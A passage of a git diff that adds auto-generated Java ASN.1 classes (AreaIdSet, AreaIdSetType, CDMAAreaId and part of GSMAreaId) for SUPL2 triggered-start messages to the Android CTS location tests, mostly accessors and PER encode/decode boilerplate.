+ * @throws ClassCastException if value is not a AreaIdSet
+ */
+ public void setAreaIdSet(Asn1Object value) {
+ this.areaIdSet_ = (AreaIdSet) value;
+ }
+ public AreaIdSet setAreaIdSetToNewInstance() {
+ areaIdSet_ = new AreaIdSet();
+ return areaIdSet_;
+ }
+
+ private AreaIdSetType areaIdSetType_;
+ public AreaIdSetType getAreaIdSetType() {
+ return areaIdSetType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AreaIdSetType
+ */
+ public void setAreaIdSetType(Asn1Object value) {
+ this.areaIdSetType_ = (AreaIdSetType) value;
+ }
+ public AreaIdSetType setAreaIdSetTypeToNewInstance() {
+ areaIdSetType_ = new AreaIdSetType();
+ return areaIdSetType_;
+ }
+
+ private GeoAreaMappingList geoAreaMappingList_;
+ public GeoAreaMappingList getGeoAreaMappingList() {
+ return geoAreaMappingList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GeoAreaMappingList
+ */
+ public void setGeoAreaMappingList(Asn1Object value) {
+ this.geoAreaMappingList_ = (GeoAreaMappingList) value;
+ }
+ public GeoAreaMappingList setGeoAreaMappingListToNewInstance() {
+ geoAreaMappingList_ = new GeoAreaMappingList();
+ return geoAreaMappingList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAreaIdSet() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAreaIdSet();
+ }
+
+ @Override public void setToNewInstance() {
+ setAreaIdSetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaIdSet.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "areaIdSet : "
+ + getAreaIdSet().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAreaIdSetType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAreaIdSetType();
+ }
+
+ @Override public void setToNewInstance() {
+ setAreaIdSetTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AreaIdSetType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "areaIdSetType : "
+ + getAreaIdSetType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGeoAreaMappingList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGeoAreaMappingList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGeoAreaMappingListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GeoAreaMappingList.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "geoAreaMappingList : "
+ + getGeoAreaMappingList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AreaIdList = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java
new file mode 100755
index 0000000..2f86521
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSet.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AreaIdSet
+ extends Asn1SequenceOf<AreaId> {
+ //
+
+ private static final Asn1Tag TAG_AreaIdSet
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AreaIdSet() {
+ super();
+ setMinSize(1);
+setMaxSize(256);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaIdSet;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaIdSet != null) {
+ return ImmutableList.of(TAG_AreaIdSet);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new AreaIdSet from encoded stream.
+ */
+ public static AreaIdSet fromPerUnaligned(byte[] encodedBytes) {
+ AreaIdSet result = new AreaIdSet();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaIdSet from encoded stream.
+ */
+ public static AreaIdSet fromPerAligned(byte[] encodedBytes) {
+ AreaIdSet result = new AreaIdSet();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public AreaId createAndAddValue() {
+ AreaId value = new AreaId();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("AreaIdSet = [\n");
+ final String internalIndent = indent + " ";
+ for (AreaId value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java
new file mode 100755
index 0000000..254bcb3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/AreaIdSetType.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AreaIdSetType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ border(0),
+ within(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_AreaIdSetType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AreaIdSetType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AreaIdSetType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AreaIdSetType != null) {
+ return ImmutableList.of(TAG_AreaIdSetType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new AreaIdSetType from encoded stream.
+ */
+ public static AreaIdSetType fromPerUnaligned(byte[] encodedBytes) {
+ AreaIdSetType result = new AreaIdSetType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AreaIdSetType from encoded stream.
+ */
+ public static AreaIdSetType fromPerAligned(byte[] encodedBytes) {
+ AreaIdSetType result = new AreaIdSetType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "AreaIdSetType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java
new file mode 100755
index 0000000..308c80b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/CDMAAreaId.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class CDMAAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_CDMAAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public CDMAAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_CDMAAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CDMAAreaId != null) {
+ return ImmutableList.of(TAG_CDMAAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CDMAAreaId from encoded stream.
+ */
+ public static CDMAAreaId fromPerUnaligned(byte[] encodedBytes) {
+ CDMAAreaId result = new CDMAAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CDMAAreaId from encoded stream.
+ */
+ public static CDMAAreaId fromPerAligned(byte[] encodedBytes) {
+ CDMAAreaId result = new CDMAAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CDMAAreaId.refSIDType refSID_;
+ public CDMAAreaId.refSIDType getRefSID() {
+ return refSID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CDMAAreaId.refSIDType
+ */
+ public void setRefSID(Asn1Object value) {
+ this.refSID_ = (CDMAAreaId.refSIDType) value;
+ }
+ public CDMAAreaId.refSIDType setRefSIDToNewInstance() {
+ refSID_ = new CDMAAreaId.refSIDType();
+ return refSID_;
+ }
+
+ private CDMAAreaId.refNIDType refNID_;
+ public CDMAAreaId.refNIDType getRefNID() {
+ return refNID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CDMAAreaId.refNIDType
+ */
+ public void setRefNID(Asn1Object value) {
+ this.refNID_ = (CDMAAreaId.refNIDType) value;
+ }
+ public CDMAAreaId.refNIDType setRefNIDToNewInstance() {
+ refNID_ = new CDMAAreaId.refNIDType();
+ return refNID_;
+ }
+
+ private CDMAAreaId.refBASEIDType refBASEID_;
+ public CDMAAreaId.refBASEIDType getRefBASEID() {
+ return refBASEID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CDMAAreaId.refBASEIDType
+ */
+ public void setRefBASEID(Asn1Object value) {
+ this.refBASEID_ = (CDMAAreaId.refBASEIDType) value;
+ }
+ public CDMAAreaId.refBASEIDType setRefBASEIDToNewInstance() {
+ refBASEID_ = new CDMAAreaId.refBASEIDType();
+ return refBASEID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CDMAAreaId.refSIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSID : "
+ + getRefSID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefNID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefNID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefNIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CDMAAreaId.refNIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refNID : "
+ + getRefNID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBASEID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBASEID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBASEIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CDMAAreaId.refBASEIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBASEID : "
+ + getRefBASEID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refSIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSIDType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSIDType != null) {
+ return ImmutableList.of(TAG_refSIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSIDType from encoded stream.
+ */
+ public static refSIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSIDType result = new refSIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSIDType from encoded stream.
+ */
+ public static refSIDType fromPerAligned(byte[] encodedBytes) {
+ refSIDType result = new refSIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refNIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refNIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refNIDType() {
+ super();
+ setValueRange("0", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refNIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refNIDType != null) {
+ return ImmutableList.of(TAG_refNIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refNIDType from encoded stream.
+ */
+ public static refNIDType fromPerUnaligned(byte[] encodedBytes) {
+ refNIDType result = new refNIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refNIDType from encoded stream.
+ */
+ public static refNIDType fromPerAligned(byte[] encodedBytes) {
+ refNIDType result = new refNIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refNIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refBASEIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refBASEIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refBASEIDType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refBASEIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refBASEIDType != null) {
+ return ImmutableList.of(TAG_refBASEIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refBASEIDType from encoded stream.
+ */
+ public static refBASEIDType fromPerUnaligned(byte[] encodedBytes) {
+ refBASEIDType result = new refBASEIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refBASEIDType from encoded stream.
+ */
+ public static refBASEIDType fromPerAligned(byte[] encodedBytes) {
+ refBASEIDType result = new refBASEIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refBASEIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("CDMAAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java
new file mode 100755
index 0000000..6d1293a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/GSMAreaId.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GSMAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GSMAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GSMAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GSMAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GSMAreaId != null) {
+ return ImmutableList.of(TAG_GSMAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GSMAreaId from encoded stream.
+ */
+ public static GSMAreaId fromPerUnaligned(byte[] encodedBytes) {
+ GSMAreaId result = new GSMAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GSMAreaId from encoded stream.
+ */
+ public static GSMAreaId fromPerAligned(byte[] encodedBytes) {
+ GSMAreaId result = new GSMAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GSMAreaId.refMCCType refMCC_;
+ public GSMAreaId.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMAreaId.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (GSMAreaId.refMCCType) value;
+ }
+ public GSMAreaId.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new GSMAreaId.refMCCType();
+ return refMCC_;
+ }
+
+ private GSMAreaId.refMNCType refMNC_;
+ public GSMAreaId.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GSMAreaId.refMNCType
